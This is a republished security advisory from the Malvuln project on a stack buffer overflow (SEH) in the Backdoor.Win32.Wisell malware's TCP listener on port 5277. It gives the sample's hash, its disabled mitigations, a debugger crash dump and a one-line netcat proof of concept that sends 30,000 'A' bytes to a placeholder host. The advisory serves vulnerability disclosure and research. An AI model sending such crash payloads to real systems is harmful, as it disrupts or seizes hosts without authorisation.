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Backdoor.Win32.Wisell / Stack Buffer Overflow (SEH)

CVE Category Price Severity
N/A CWE-121 $15,000 High
Author Risk Exploitation Type Date
wisell High Local 2022-04-07
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040025

Below is a copy:

Backdoor.Win32.Wisell / Stack Buffer Overflow (SEH)
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/837ec70bfb305b5c862ff9b04e70a318_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Stack Buffer Overflow (SEH) 
Description: The malware listens on TCP port 5277. Attackers who can reach the infected system can send a specially crafted packet triggering a stack buffer overflow overwriting the structured exception handler (SEH).
Family: Wisell
Type: PE32
MD5: 837ec70bfb305b5c862ff9b04e70a318
Vuln ID: MVID-2022-0541
Dropped files: 
ASLR: Not Enabled
DEP: Not Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 04/06/2022

Memory Dump:
The stored exception information can be accessed via .ecxr.
(1598.1748): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=e748a741 edx=00000000 esi=00000000 edi=00000002
eip=7770ed3c esp=029bf7e8 ebp=029bf828 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400          ret     14h

0:003> .ecxr
eax=00000149 ebx=0254f908 ecx=e748a741 edx=00000000 esi=00000001 edi=0000014a
eip=0040192e esp=029bfe98 ebp=029bff80 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
Backdoor_Win32_Wisell_837ec70bfb305b5c862ff9b04e70a318+0x192e:
0040192e 888c0537ffffff  mov     byte ptr [ebp+eax-0C9h],cl ss:002b:029c0000=??

0:003> !exchain
029bf8a0: ntdll!_except_handler4+0 (77716a50)
  CRT scope  0, func:   ntdll!RtlReportExceptionHelper+251 (777557ad)
029bffcc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
python -c "print('A'*30000)" | nc64.exe x.x.x.x 5277

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